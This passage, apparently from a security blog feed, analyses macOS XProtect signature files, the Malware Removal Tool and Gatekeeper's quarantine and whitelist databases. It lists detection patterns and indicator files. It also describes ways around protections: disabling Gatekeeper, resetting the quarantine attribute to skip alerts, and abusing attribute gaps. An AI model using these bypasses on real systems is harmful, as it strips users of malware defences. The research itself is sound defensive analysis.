<li>com.apple.application-bundle</li>
<li>com.microsoft.word.doc</li>
<li>com.apple.installer-package</li>
<li>public.data</li>
<li>com.apple.installer-meta-package</li>
<li>com.sun.java-archive</li>
</ul>
<!--kg-card-end: markdown--><p><strong>Matches</strong>: This key value holds an array of dictionary items, which has the &#xA0;detection signature pattern. This key looks like this in general:</p><pre><code>&lt;key&gt;Matches&lt;/key&gt;
		&lt;array&gt;
			&lt;dict&gt;
				&lt;key&gt;MatchFile&lt;/key&gt;
				&lt;dict&gt;
					&lt;key&gt;NSURLTypeIdentifierKey&lt;/key&gt;
					&lt;string&gt;public.unix-executable&lt;/string&gt;
					&lt;key&gt;NSURLFileSizeKey&lt;/key&gt;
					&lt;integer&gt;110000&lt;/integer&gt;
					&lt;key&gt;NSURLNameKey&lt;/key&gt;
					&lt;string&gt;iCnat&lt;/string&gt;
				&lt;/dict&gt;
				&lt;key&gt;MatchType&lt;/key&gt;
				&lt;string&gt;Match&lt;/string&gt;
				&lt;key&gt;Identity&lt;/key&gt;
				&lt;data&gt;iob/gI0JDUACAaH5TY9wap2hFso=&lt;/data&gt;
			&lt;/dict&gt;
            &lt;dict&gt;
				&lt;key&gt;MatchFile&lt;/key&gt;
				&lt;dict&gt;
					&lt;key&gt;NSURLNameKey&lt;/key&gt;
					&lt;string&gt;Codec-M.tar&lt;/string&gt;
					&lt;key&gt;NSURLTypeIdentifierKey&lt;/key&gt;
					&lt;string&gt;public.tar-archive&lt;/string&gt;
				&lt;/dict&gt;
				&lt;key&gt;MatchType&lt;/key&gt;
				&lt;string&gt;Match&lt;/string&gt;
				&lt;key&gt;Pattern&lt;/key&gt;
				&lt;string&gt;636F6D2E7768697465736D6F6B652E&lt;/string&gt;
			&lt;/dict&gt;
		&lt;/array&gt;</code></pre><p>Each dictionary holds a signature for a single file with filetype defined by <em>NSURLTypeIdentifierKey. </em>Current signatures have following filetypes present:</p><!--kg-card-begin: markdown--><ul>
<li>public.unix-executable</li>
<li>com.apple.applescript.script</li>
<li>public.data</li>
<li>com.apple.mach-o-dylib</li>
<li>{dyn.*}</li>
<li>com.apple.application-file</li>
<li>com.sun.java-archive</li>
<li>com.apple.installer-package-archive</li>
<li>public.zip-archive</li>
<li>com.microsoft.word.doc</li>
<li>public.tar-archive</li>
</ul>
<!--kg-card-end: markdown--><p>You can see that XProtect is capable of blocking malicious content in form of quite a lot of file types. This also proofs that LaunchService is involved with all type of file open activity in MacOS whether it&apos;s executable/bundle or word document or any compressed file format.</p><p>Another subkey in this dictionary is <em>NSURLNameKey </em>which<em> </em>holds the name of the file in case <em>NSURLTypeIdentifierKey </em>is not present. The detection doesn&apos;t depend on this key( i.e you will see trigger from XProtect even if the filename is different).</p><p>The detection pattern is present in either of the following two keys:</p><p><em>Pattern</em>: holds the hex bytes with * as separator.</p><p><em>Identity</em>: hold the base64 value of the sha-1 hash.</p><p>When you try to open a document or an application having signature in XProtect.plist, you will receive an alert message like this:</p><figure class="kg-card kg-image-card"><img src="http://nixhacker.com/content/images/2022/02/Screenshot-2022-02-10-at-9.27.45-PM.jpg" class="kg-image" alt="Uncovering the security protections in MAC - XProtect and MRT" loading="lazy"></figure><p><strong>XProtect.meta.plist</strong></p><p>This plist file is used to block malicious safari extension and other outdated application plugins.</p><p><strong>Safari Extension blocking</strong>: When you download a Safari extensions, it added a application bundle in <code>/Applications</code>. This bundle contains plugin with <code>.appex</code> extension which later move to <code>/User/Username/Library/Safari/Extensions</code>. Like other application bundle, these applications also hold <code>CFBundleIdentifier</code> and Developer id. The detection is based on that.</p><pre><code>			&lt;dict&gt;
				&lt;key&gt;CFBundleIdentifier&lt;/key&gt;
				&lt;string&gt;com.searchnt.safari&lt;/string&gt;
				&lt;key&gt;Developer Identifier&lt;/key&gt;
				&lt;string&gt;6ERPEMNB65&lt;/string&gt;
			&lt;/dict&gt;
			&lt;dict&gt;
				&lt;key&gt;CFBundleIdentifier&lt;/key&gt;
				&lt;string&gt;com.shelfsick.safari&lt;/string&gt;
				&lt;key&gt;Developer Identifier&lt;/key&gt;
				&lt;string&gt;33HGJH7H8P&lt;/string&gt;
			&lt;/dict&gt;
			&lt;dict&gt;
				&lt;key&gt;CFBundleIdentifier&lt;/key&gt;
				&lt;string&gt;com.searchnt.safari&lt;/string&gt;
				&lt;key&gt;Developer Identifier&lt;/key&gt;
				&lt;string&gt;LUZSN84HYP&lt;/string&gt;
			&lt;/dict&gt;
			&lt;dict&gt;
				&lt;key&gt;CFBundleIdentifier&lt;/key&gt;
				&lt;string&gt;com.searchtrust.safariext&lt;/string&gt;
				&lt;key&gt;Developer Identifier&lt;/key&gt;
				&lt;string&gt;9V6HEQPZK3&lt;/string&gt;
			&lt;/dict&gt;
            ...
            ...</code></pre><p><em>Note</em>: During my research, I found that XProtect will only block the extension when they are executed by double click. If the main macho is executed from command line, then there is no alert for such case.</p><p>This plist also blocks other plugin with outdated version:</p><pre><code>&lt;key&gt;com.apple.java.JavaAppletPlugin&lt;/key&gt;
			&lt;dict&gt;
				&lt;key&gt;MinimumPlugInBundleVersion&lt;/key&gt;
				&lt;string&gt;14.8.0&lt;/string&gt;
				&lt;key&gt;PlugInUpdateAvailable&lt;/key&gt;
				&lt;true/&gt;
			&lt;/dict&gt;
			&lt;key&gt;com.apple.java.JavaPlugin2_NPAPI&lt;/key&gt;
			&lt;dict&gt;
				&lt;key&gt;MinimumPlugInBundleVersion&lt;/key&gt;
				&lt;string&gt;14.8.0&lt;/string&gt;
				&lt;key&gt;PlugInUpdateAvailable&lt;/key&gt;
				&lt;true/&gt;
			&lt;/dict&gt;
			&lt;key&gt;com.macromedia.Flash Player ESR.plugin&lt;/key&gt;
			&lt;dict&gt;
				&lt;key&gt;MinimumPlugInBundleVersion&lt;/key&gt;
				&lt;string&gt;18.0.0.382&lt;/string&gt;
				&lt;key&gt;PlugInUpdateAvailable&lt;/key&gt;
				&lt;true/&gt;
			&lt;/dict&gt;
			&lt;key&gt;com.macromedia.Flash Player.plugin&lt;/key&gt;
			&lt;dict&gt;
				&lt;key&gt;MinimumPlugInBundleVersion&lt;/key&gt;
				&lt;string&gt;32.0.0.101&lt;/string&gt;
				&lt;key&gt;PlugInUpdateAvailable&lt;/key&gt;
				&lt;true/&gt;
			&lt;/dict&gt;
			&lt;key&gt;com.microsoft.SilverlightPlugin&lt;/key&gt;
			&lt;dict&gt;
				&lt;key&gt;MinimumPlugInBundleVersion&lt;/key&gt;
				&lt;string&gt;5.1.41212.0&lt;/string&gt;
				&lt;key&gt;PlugInUpdateAvailable&lt;/key&gt;
				&lt;true/&gt;
			&lt;/dict&gt;
            ...
            ...</code></pre><p><strong>LegacyEntitlementAllowlist.plist</strong></p><p>This is the last file we are covering for XProtect bundle. This plist contains a very long array of cdhashes which are encoded.</p><pre><code>&lt;key&gt;cdhashes&lt;/key&gt;
        &lt;array&gt;
                &lt;data&gt;
                AAFd7LJtQHNzgvxZ5kOMf5kNDVo=
                &lt;/data&gt;
                &lt;data&gt;
                AAQCJMThA3BGcNrYDj3cGpx+i3U=
                &lt;/data&gt;
                &lt;data&gt;
                AAQYbKSnpJxvCtTZc7cRC9Jo+bQ=
                &lt;/data&gt;
                &lt;data&gt;
                AAUzQNGkVn8nJMreEIqz4P0lahI=
                &lt;/data&gt;
                &lt;data&gt;
                AAxqo7k51G/ak+Xg9hNNo61LqVI=
                &lt;/data&gt;
                &lt;data&gt;
                ABBEGu7ZCbgrt3IAqg7k15zBR1Q=
                &lt;/data&gt;
                &lt;data&gt;
                ABDXjTxbm1MVYk88ANcOTl7j8Qc=
                &lt;/data&gt;
                ...
                ...</code></pre><p>It is difficult to conclude any information about this plist. But It&apos;s my assumption that this is a whitelist for macho executable that requires outdated entitlements to function properly.</p><p>That&apos;s all about XProtect. In conclusion, XProtect holds a good amount of static signatures, but not as much as an Antivirus solution generally have. Besides that, a major limitation of xprotect is it only checks for malicious content during open phase of a document, specially when LaunchServices is involved. It&apos;s not much difficult to find a way to bypass the role of LaunchServices in file opening.</p><p></p><h2 id="malware-removal-tool-mrt-">Malware Removal Tool (MRT)</h2><p></p><p>As mentioned above, XProtect only scan for malicious content while the execution or opening of file. To make MacOS default security more robust, apple has included a tool called MRT for scanning file present in disk time to time to look for malicious content. From all Apple&apos;s documentation:</p><blockquote><em>Malware Removal Tool (MRT)</em> is an engine in macOS that remediates infections based on updates automatically delivered from Apple (as part of automatic updates of system data files and security updates). MRT removes malware upon receiving updated information and it continues to check for infections on restart and login. </blockquote><p>The application bundle for MRT is located at <code>/System/Volumes/Data/Library/Apple/System/Library/CoreServices/MRT.app</code> on latest MacOS. MRT.app has two executables in MacOS directory <code>MRT</code> and <code>mrt-helper</code>. &#xA0;<code>MRT</code> is a giant 3MB of &#xA0;executable that holds all the important detection logics. <code>mrt-helper</code> is a small helper program contains few functions required by <code>MRT</code>. All of the MRT code is closed sourced. The only way to understand MRT working is through reverse engineering.</p><p>As mentioned above, MRT executed every time you login or restart your system. MRT runs in two mode - <em>agent</em> and <em>daemon</em>. It can also be spawned from command line:</p><figure class="kg-card kg-image-card"><img src="http://nixhacker.com/content/images/2022/02/Screenshot-2022-02-14-at-1.17.10-AM.jpg" class="kg-image" alt="Uncovering the security protections in MAC - XProtect and MRT" loading="lazy"></figure><p>When starting as agent, MRT send xpc request to MRT daemon and the MRT daemon scan the filesystem for the malicious indicators and resolve it, then send the status to agent using <code>notifyd</code>. Later, agent logs the details received from Daemon or stdout on terminal.</p><figure class="kg-card kg-image-card"><img src="http://nixhacker.com/content/images/2022/02/Screenshot-2022-02-14-at-1.30.51-AM.png" class="kg-image" alt="Uncovering the security protections in MAC - XProtect and MRT" loading="lazy"></figure><p>Initial triage on MRT gives me indications that it is a static scanner that runs on login/reboot. But after reversing the MRT code, I found it to be impressively powerful tool that has detection not only just based on pattern but different filesystem indicator to find malicious activity. Moreover it not just notify user but also remidiate the infection to put your machine on safe state.</p><p>All the malicious indicators are checked one by one over the filesystem. These all reside in a single function.</p><figure class="kg-card kg-image-card"><img src="http://nixhacker.com/content/images/2022/02/Screenshot-2022-02-14-at-1.41.35-AM.png" class="kg-image" alt="Uncovering the security protections in MAC - XProtect and MRT" loading="lazy"></figure><p>Currently, MRT have detection for almost 90 malware. Each Malware family signatures and detection are different. &#xA0;Some are generic static pattern based detection.</p><figure class="kg-card kg-image-card"><img src="http://nixhacker.com/content/images/2022/02/Screenshot-2022-02-14-at-12.27.55-AM.png" class="kg-image" alt="Uncovering the security protections in MAC - XProtect and MRT" loading="lazy"></figure><p>Some are based on presence of certains files/directories in filesystem.</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="http://nixhacker.com/content/images/2022/02/Screenshot-2022-02-14-at-12.44.46-AM.png" class="kg-image" alt="Uncovering the security protections in MAC - XProtect and MRT" loading="lazy"><figcaption>Looking for dufh and com.apple.updates.plist</figcaption></figure><p>Once daemon find these indicators file or main malicious file, It deletes those as a step for remediation. As a small activity, let&apos;s try to look through MRT working in action.</p><p>Following are the indicator MRT looks for in case it&apos;s scanning your system for <em>OSX.ATG2</em> threat.</p><ul><li>Presence of &#xA0;<code>~/Library/LaunchAgents/com.apple.updater.plist</code> </li><li>Presence of &#xA0;<code>/Users/Shared/dufh</code> </li><li>Presence of &#xA0;<code>~/Library/LaunchAgents/com.apple.updates.plist</code></li><li>Presence of &#xA0;<code>/Users/Shared/.local/kextd</code></li></ul><p>Let&apos;s create these files on a test machine and start the MRT in agent mode. </p><figure class="kg-card kg-image-card"><img src="http://nixhacker.com/content/images/2022/02/Screenshot-2022-02-14-at-1.13.07-AM.jpg" class="kg-image" alt="Uncovering the security protections in MAC - XProtect and MRT" loading="lazy"></figure><p></p><p>From the above output, it is clear that MRT is performing two important actions here. First, putting your system in safe state by unloading any malicious tasks. And delete the indicators as part of remediation. </p><h3 id="conclusion">Conclusion</h3><p>XProtect is a good malware protection solution for MacOS that will definitely protect the macos environment against common threats present in the wild. But a major limitation with the XProtect is its limited coverage and less frequent updates. It has detection for major malware families affecting OSX architecture, but far away from covering emerging threats. On top of XProtect, MRT is a game changing addition of Mac security but need more wider coverage to solely rely on.Initial triage on MRT gives me indications that it is a static scanner that runs on login/reboot. But after reversing the MRT code, I found it to be an impressively powerful tool that has detection not only just based on pattern but different filesystem indicator to find malicious activity. Moreover, it not just notify user but also remediate the infection.</p>]]></content:encoded></item><item><title><![CDATA[Uncovering the  security protections in MacOS - Gatekeeper]]></title><description><![CDATA[In this series, I will be uncovering the internals of MacOS security protections. In this part I will be focus on Gatekeeper.]]></description><link>http://nixhacker.com/security-protection-in-macos-1/</link><guid isPermaLink="false">63adf451ba93f615aa877795</guid><category><![CDATA[MacOS Security]]></category><category><![CDATA[Analysis]]></category><dc:creator><![CDATA[Shubham Dubey]]></dc:creator><pubDate>Mon, 21 Feb 2022 18:47:08 GMT</pubDate><media:content url="http://nixhacker.com/content/images/2022/01/london_2010_-40.jpg" medium="image"/><content:encoded><![CDATA[<img src="http://nixhacker.com/content/images/2022/01/london_2010_-40.jpg" alt="Uncovering the  security protections in MacOS - Gatekeeper"><p></p><p>With increase in number of malware affecting MacOS in last decades, Apple has introduced multiple Application security protection features to safeguard users from malicious contents. Like everything else Apple does, they did good amount of advertisement of these security protections exclusively to their costumers.</p><figure class="kg-card kg-image-card"><img src="http://nixhacker.com/content/images/2022/01/Screenshot-2022-01-15-at-12.12.58-AM.png" class="kg-image" alt="Uncovering the  security protections in MacOS - Gatekeeper" loading="lazy"></figure><p>But MacOS been a mostly closed source operating system, it&apos;s tough to know what and how they are protecting. And most important, is it worth to solely rely on?</p><p>To answer these questions, I decided to dig more into all types of default application security features present in MacOS.</p><h2 id="gatekeeper">Gatekeeper</h2><p>Gatekeeper is the major security feature present in MacOS introduced in OS X Leopard back in 2012. Most of the gatekeeper implementation code resides in <code>syspolicyd</code> &#xA0;which is located in <code>/usr/libexec/</code> and few part in <code>Quarantine.kext</code>. <code>syspolicyd</code> also responsible for handling other macos components like kext loading and execmanager.</p><p>In a nutshell, gatekeeper&apos;s job is to verify and validate an application bundle or an executable based on different criteria before it start as a process, so that only trusted software runs on Mac. The major features that gatekeeper holds are the following:</p><!--kg-card-begin: markdown--><ul>
<li>Quarantine check</li>
<li>Whitelisting and Blacklisting policies validation</li>
<li>Code signing and developer id verification</li>
<li>Notarization check</li>
</ul>
<!--kg-card-end: markdown--><p></p><p>A user can interact with gatekeeper using <code>spctl</code> command. For example, one can disable gatekeeper using the following command.</p><pre><code>$sudo spctl --master-disable</code></pre><p>or to evaluate if something will pass gatekeeper checks or not</p><pre><code>$spctl -a -t exec -vvv Myapp.app</code></pre><h3 id="quarantine-check">Quarantine Check</h3><p>If you download an application from the internet and try to open it, you must going to see following dialog:</p><figure class="kg-card kg-image-card"><img src="http://nixhacker.com/content/images/2022/01/Screenshot-2022-01-17-at-12.13.17-PM.jpg" class="kg-image" alt="Uncovering the  security protections in MacOS - Gatekeeper" loading="lazy"></figure><p>This is quarantine check in action. To know more about quarantine check, we first need to understand extended attributes:</p><p><strong>Extended attributes:</strong></p><p>Extended attributes are arbitrary metadata of a file, stored separately from the basic filesystem attributes. These attributes are introduced in unix systems and now available in almost all *nix operating systems. You can check all extended attributes set to a file using <code>xattr</code> command in MacOS.</p><pre><code>xattr mypdf.pdf</code></pre><p>You can see the data associated with any extended attribute using following command</p><pre><code>xattr -p com.apple.myxattr mypdf.pdf</code></pre><p>You can also add your own extended attributes:</p><pre><code>xattr -w com.apple.myxattr &quot;This is the data of my xattribute&quot; mypdf.pdf</code></pre><p><strong>Quarantine attribute:</strong></p><p>For gatekeeper, apple has introduced quarantine extended attribute named <code>com.apple.quarantine</code> &#xA0;which get set on any file downloaded from internet. This attribute will be set by the agent application (like chrome or firefox) when you download any file using them.</p><p>If you check the data of quarantine attribute, you will see structure something like below:</p><pre><code>$ xattr -p com.apple.quarantine mypdf.pdf
0081;6138fdb6;Firefox;78B4F60F-4838-431E-8A72-6C666B15E5A6</code></pre><p>The format of the data is the following:</p><pre><code class="language-lua">flag;date;agent_name;UUID;
</code></pre><p>Flag value <code>0081</code> states that the application/file is executing for the first time. This attribute is responsible for the warning that appears when you first try to open an application, saying that the application is downloaded from the internet. </p><p>Once you open a file with quarantine flag set, gatekeeper stores the quarantine related metadata associated with the file in Quarantine database present at <code>~/Library/Preferences/com.apple.LaunchServices.QuarantineEventsV2</code>.</p><p><strong>Understanding the quarantine database structure</strong></p><p>Quarantine database <code>com.apple.LaunchServices.QuarantineEventsV2</code> is present in User&apos;s home directory, hence can be modified easily. It&apos;s <em>Launch Services</em>&apos;s responsibility to manage this database. Once you open a file by double clicking it, if launch services find the file having quarantine attribute present, it adds the entry of that in Quarantine database. The database is SQLite db with only one table named <code>LSQuarantineEvent</code>. </p><figure class="kg-card kg-image-card"><img src="http://nixhacker.com/content/images/2022/01/Screenshot-2022-01-22-at-12.55.31-AM.png" class="kg-image" alt="Uncovering the  security protections in MacOS - Gatekeeper" loading="lazy"></figure><p>There are multiple columns in the table with the following usage:</p><!--kg-card-begin: markdown--><ol>
<li><strong>LSQuarantineEventIdentifier</strong> &#x2013; Unique Id for the record</li>
<li><strong>LSQuarantineTimeStamp</strong> &#x2013; The time (in seconds since 1/1/2001 12am)</li>
<li><strong>LSQuarantineAgentBundleIdentifier</strong> &#x2013; the downloading application bundle name</li>
<li><strong>LSQuarantineAgentName</strong> &#x2013; The application name</li>
<li><strong>LSQuarantineDataURLString</strong> &#x2013; The URL the file was downloaded from</li>
<li><strong>LSQuarantineSenderName</strong> &#x2013; The name of the person who sent you the email from which you downloaded the attachment</li>
<li><strong>LSQuarantineSenderAddress</strong> &#x2013; The email of the person who sent you the email from which you downloaded the attachment</li>
<li><strong>LSQuarantineTypeNumber</strong> &#x2013; Enum identifying the type of application that downloaded the file. The value is one of the following:
<ul>
<li><strong>kLSQuarantineTypeWebDownload</strong>=0 &#x2013; if the URL scheme was http(s) the download will be set to this, otherwise to 1.</li>
<li><strong>kLSQuarantineTypeOtherDownload</strong>=1 &#x2013; anything that wasn&#x2019;t identified.</li>
<li><strong>kLSQuarantineTypeEmailAttachment</strong>=2 &#x2013; supposedly an email attachement (I wasn&#x2019;t able to reproduce this)</li>
<li><strong>kLSQuarantineTypeInstantMessageAttachment</strong>=3 &#x2013; supposedly a download from instant messaging app</li>
<li><strong>kLSQuarantineTypeCalendarEventAttachment</strong>=4 &#x2013; an ical file via email?</li>
<li><strong>kLSQuarantineTypeOtherAttachment</strong>=5</li>
</ul>
</li>
<li><strong>LSQuarantineOriginTitle</strong> &#x2013; No info, and seemed to be always empty.</li>
<li><strong>LSQuarantineOriginURLString</strong> &#x2013; &#x201C;The URL of the resource originally hosting the quarantined item, from the user&#x2019;s point of view. For web downloads, this property is the URL of the web page on which the user initiated the download. For attachments, this property is the URL of the resource to which the quarantined item was attached (e.g. the email message, calendar event, etc.). The origin URL may be a file URL for local resources, or a custom URL to which the quarantining application will respond when asked to open it. The quarantining application should respond by displaying the resource to the user.  Note: The origin URL should not be set to the data URL, or the quarantining application may start downloading the file again if the user choses to view the origin URL while resolving a quarantine warning.&#x201D;</li>
<li><strong>LSQuarantineOriginAlias</strong> &#x2013; No info, and seemed to be always empty in my log.</li>
</ol>
<!--kg-card-end: markdown--><p>The database contain good amount of user&apos;s activity that can be serious privacy issue if the computer was indeed exposed to any spyware/malware. It has already seen to be exfiltrate by Bundlore/Shlayer in the past. &#xA0;Moreover, even if you disable gatekeeper or try to create exclusion for certain application, the database is still maintained by MacOS for certain applications. This is because MacOS manages another exclusion list which force application to use <code>LSFileQuarantineEnabled</code>. This &#xA0;list is present at <code>/System/Library/CoreServices/CoreTypes.bundle/Contents/Resources/Exceptions.plist</code>. </p><figure class="kg-card kg-image-card"><img src="http://nixhacker.com/content/images/2022/01/Screenshot-2022-01-23-at-5.26.27-PM.png" class="kg-image" alt="Uncovering the  security protections in MacOS - Gatekeeper" loading="lazy"></figure><h3 id="limitations-of-quarantine-check">Limitations of Quarantine Check</h3><figure class="kg-card kg-gallery-card kg-width-wide"><div class="kg-gallery-container"><div class="kg-gallery-row"><div class="kg-gallery-image"><img src="http://nixhacker.com/content/images/2022/01/output-onlinegiftools.gif" width="220" height="371" loading="lazy" alt="Uncovering the  security protections in MacOS - Gatekeeper"></div></div></div></figure><ul><li>1) Since Quarantine check rely on extended attribute and extended attribute stores in file system. There are certain file systems that don&apos;t support extended attribute like following locations:</li></ul><p>&#x2013; &#xA0; &#xA0; &#xA0; &#xA0;USB flash drive<br>&#x2013; &#xA0; &#xA0; &#xA0; &#xA0;Optical disk<br>&#x2013; &#xA0; &#xA0; &#xA0; &#xA0;External hard drive<br>&#x2013; &#xA0; &#xA0; &#xA0; &#xA0;Network shared drives(smb and nfs)</p><p>Hence, on these file systems, quarantine check doesn&apos;t work if an application is executed from above fs or symlinked to these locations. There are &#xA0;multiple CVE&apos;s associated with this, like <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-8656&amp;ref=nixhacker.com">CVE-2019-8656</a>. Although in recent versions, Apple fixed this issue by blocking the execution of the application from a remote shared location.</p><ul><li>2) Another common issue with quarantine check is, the quarantine attribute need to be set by agent application. If the agent application doesn&apos;t set this attribute, then there is no way to find if the file is downloaded from internet. One such application that doesn&apos;t set the quarantine attribute is <code>curl</code>. Due to this most malware in MacOS use <code>curl</code> or <code>wget</code> to download their payload.</li><li>3) You will also find that gatekeeper doesn&apos;t verify quarantine attribute presence for certain file extensions that can be used for code execution. A few of such extensions are <code>.inetloc</code> or <code>.fileloc</code>. There are certain vulnerabilities related to this in the past. One of them is <a href="https://ssd-disclosure.com/ssd-advisory-macos-finder-rce/?ref=nixhacker.com">https://ssd-disclosure.com/ssd-advisory-macos-finder-rce/</a></li><li>4) One minor limitation of extended attribute is in copying file. By default, copying a file copies the extended attributes too, but if the extended attribute is corrupted than copyfile operation skip setting the attribute to new target file. If a malicious actor can find a way to send a corrupted quarantine attribute through any compressed format that keeps extended attributes. Extracting it can skip the setting of quarantine attribute to target files. Unluckily, this doesn&apos;t work with <code>.dmg</code>, but you can explore other methods.</li></ul><h3 id="whitelisting-policy">Whitelisting Policy</h3><p>Apple uses multiple databases for whitelisting trusted application based on certain checks for gatekeeper. In below section, we will be talking about those databases.</p><figure class="kg-card kg-image-card"><img src="http://nixhacker.com/content/images/2022/02/Picture-1.jpg" class="kg-image" alt="Uncovering the  security protections in MacOS - Gatekeeper" loading="lazy"></figure><p><strong>SystemPolicy Database</strong></p><p>To understand the usage of SystemPolicy database, let&apos;s go through a scenario.</p><ul><li>Download a macho executable from internet. </li><li>Save the quarantine attribute data for that file somewhere using <code>xattr -p com.apple.quarantine myfile &gt; attr.data</code></li><li>Execute the macho and allow the gatekeeper check.</li><li>You &#xA0;will see that the quarantine attribute data has been modified. </li><li>Reset the quarantine attribute value to previous state using following command <code>xattr -w com.apple.quarantine &quot;`cat attr.data`&quot; myfile</code>.</li><li>Now execute the macho again.</li></ul><p>You will notice that this time application executed without the gatekeeper alert. This has the same implication as the case where you right-click and open the application to bypass gatekeeper check for that specific application. Both of the cases register an exception for the executable/bundle for gatekeeper into SystemPolicy database present at <code>/var/db/SystemPolicy</code>. </p><p>SystemPolicy db is used to store the details about the executables which has gone through gatekeeper check for the first time and user has allowed the execution. In other words, it is a primary exception or whitelisted application list for gatekeeper. One can add/update entry in SystemPolicy db in multiple ways:</p><ul><li>Allowing opening of application from UI alert.</li><li>Right click -&gt; Open the application/executable.</li><li>Using spctl. <code>spctl --add /Path/To/Application.app</code></li></ul><p>Behind the scene, these entries call <code><code>SecAssessmentCopyUpdate</code></code> to update <code>/var/db/SystemPolicy</code> database.</p><p><strong>SystemPolicy db format</strong></p><p>SystemPolicy database has multiple tables. We will go through each one by one.</p><figure class="kg-card kg-image-card"><img src="http://nixhacker.com/content/images/2022/01/Screenshot-2022-01-24-at-8.28.49-PM.png" class="kg-image" alt="Uncovering the  security protections in MacOS - Gatekeeper" loading="lazy"></figure><p></p><p>The primary table in the database is <em><strong>authority. </strong></em></p><figure class="kg-card kg-image-card"><img src="http://nixhacker.com/content/images/2022/01/Screenshot-2022-01-24-at-8.36.13-PM.png" class="kg-image" alt="Uncovering the  security protections in MacOS - Gatekeeper" loading="lazy"></figure><p>Apple describe each entries as a Rule. Each column has following meaning:</p><!--kg-card-begin: markdown--><ol>
<li><strong>Id</strong>:Canonical ID</li>
<li><strong>version</strong>: version of the Rule. Will always set to 1</li>
<li><strong>type</strong>: Operation type. These are operations the system policy can express opinions on. These can be one of these:
<ul>
<li>1 - kSecAssessmentOperationTypeExecute - Set on Code execution from standalone macho</li>
<li>2 - kSecAssessmentOperationTypeInstall - Sets on Bundle installation.</li>
<li>3 - kSecAssessmentOperationTypeOpenDocument - Sets on opening of document(application spawned by another app) using launchservice.</li>
</ul>
</li>
<li><strong>requirement</strong> - code requirement - Stores the cdhash on main macho file.</li>
<li><strong>allow</strong> - If the gke exception is allowed. Always be 1(since then only the rule is added in this db)</li>
<li><strong>disabled</strong> - If following rule entry is disabled.</li>
<li><strong>expires</strong>  - Expiration of rule. Julian date format. Will be always 5000000(June 7, 8977).</li>
<li><strong>label</strong> - An optional text labeling the rule. Mostly set to GKE or null.</li>
<li><strong>filter_unsigned</strong> - Will contain hash of Info.plist file from the bundle. If bundle is not signed, this value is used to verify the bundle. Can have value in multiple format:
<ul>
<li>&quot;R&quot; + hash - used for sha1 hash of Info.plist</li>
<li>&quot;I&quot; + hash - used for md5 hash</li>
<li>&quot;M&quot; + hash - used for md5 hash</li>
<li>N - set for rule type 1(direct macho execution)</li>
</ul>
</li>
<li><strong>Flags</strong>: A mask of flag bits passed to <code>SecAssessment</code> calls to influence their operation.Can have following values:
<ul>
<li>SecAssessmentDefaultFlags = 0, // default behavior</li>
<li>kSecAssessmentFlagDirect = 1 &lt;&lt; 30,				// in-process evaluation</li>
<li>kSecAssessmentFlagAsynchronous = 1 &lt;&lt; 29,		// request asynchronous operation</li>
<li>kSecAssessmentFlagIgnoreCache = 1 &lt;&lt; 28,		// do not search cache</li>
<li>kSecAssessmentFlagNoCache = 1 &lt;&lt; 27,			// do not populate cache</li>
<li>kSecAssessmentFlagEnforce = 1 &lt;&lt; 26,			// force on (disable bypass switches)</li>
<li>kSecAssessmentFlagAllowWeak = 1 &lt;&lt; 25,			// allow weak signatures</li>
<li>kSecAssessmentFlagIgnoreWhitelist = 1 &lt;&lt; 24,	// do not search weak signature whitelist</li>
<li>// 1 &lt;&lt; 23 removed (was kSecAssessmentFlagDequarantine)</li>
<li>kSecAssessmentFlagIgnoreActiveAssessments = 1 &lt;&lt; 22, // permit parallel re-assessment of the same target</li>
<li>kSecAssessmentFlagLowPriority = 1 &lt;&lt; 21,        // run the assessment in low priority</li>
</ul>
</li>
<li><strong>ctime</strong> - rule creation time (Julian)</li>
<li><strong>mtime</strong> - time rule was last changed (Julian)</li>
<li><strong>user</strong> - user requesting this rule (NULL if unknown). Looks like mac developers are too lazy to set this since you will find the value NULL in all entries.</li>
<li><strong>remarks</strong> - optional remarks string. Set to either (gke) or path of bundle/executable in case of unsigned code.</li>
</ol>
<!--kg-card-end: markdown--><blockquote>Remark: If the main executable of a bundle is script rather than macho. There will be no update in SystemPolicy since cdhash will not present in that case.</blockquote><p>Few other tables of SystemPolicy db:</p><p><strong>active_authority</strong> - Subset of <code>authority</code>. Contains rules that are presently active(Disable = 0).</p><p><strong>scan_authority</strong> - Subset of <code>authority</code>. Contains rules subject to priority scan: <em>active_authority</em> but including disabled rules.</p><p><strong>bookmarkhints</strong> - A table to carry (potentially large-ish) filesystem data stored as a bookmark blob.</p><p><strong>features</strong> - Features present/used in that database and if they can be upgraded.</p><figure class="kg-card kg-image-card"><img src="http://nixhacker.com/content/images/2022/01/Screenshot-2022-01-25-at-1.35.10-AM.png" class="kg-image" alt="Uncovering the  security protections in MacOS - Gatekeeper" loading="lazy"></figure><p><strong>object</strong> - The cache table lists previously determined outcomes for individual objects (by object hash). Entries come from full evaluations of authority records, or by explicitly inserting override rules that preempt the normal authority.</p><p><strong>object_state</strong> - Some useful view of object.</p><h3 id="gatekeeper-s-bundle">Gatekeeper&apos;s bundle</h3><p>Gatekeeper keeps two loadable bundles inside <code>/var/db</code> which is mostly used for predefined whitelisting purpose. The bundles are with following name <code>gke.bundle</code> and <code>gkopaque.bundle</code>. Let take a look at what they used for.</p><p><strong>gke.bundle</strong></p><p>First we will check <code>gke.bundle</code>. Since its loadable bundle, it only has two Resource file that are important. <code>gke.auth</code> and <code>gk.db</code>.</p><p><code><strong>gke.auth</strong></code> is a plist file. In the words of Apple&apos;s developer, it contains weak signature whitelist. After looking in source code of <code>policydb.cpp</code> and <code>policyengine.cpp</code> I found the list is some kind of whitelist of application that are not signed but need to be trusted. It is used for successfully created temporary signature (kind of adhoc signing) some application to execute. Once you start an application, if <code>syspolicyd</code> found the application to be completely unsigned, it checks this plist to temporary set signature for the bundle if application is listed here. The plist has one key named <code>authority</code> which has different subkey and their value as dictionary. This is how a single key looks like</p><pre><code>
&lt;key&gt;00426538-36a2-42e6-8b2f-641385980298&lt;/key&gt;
  &lt;dict&gt;
    &lt;key&gt;cdhash&lt;/key&gt;                    &lt;string&gt;cf2488248efe976413a5ac489d60cc6b1ba00c5d&lt;/string&gt;
    &lt;key&gt;path&lt;/key&gt;
    &lt;string&gt;(gke)&lt;/string&gt;
    &lt;key&gt;screen&lt;/key&gt;                    &lt;string&gt;I4057d28ea08f639c4ec81778d327db4bf37d1cb6&lt;/string&gt;
    &lt;key&gt;type&lt;/key&gt;
    &lt;string&gt;2&lt;/string&gt;
    &lt;key&gt;version&lt;/key&gt;
    &lt;integer&gt;2&lt;/integer&gt;
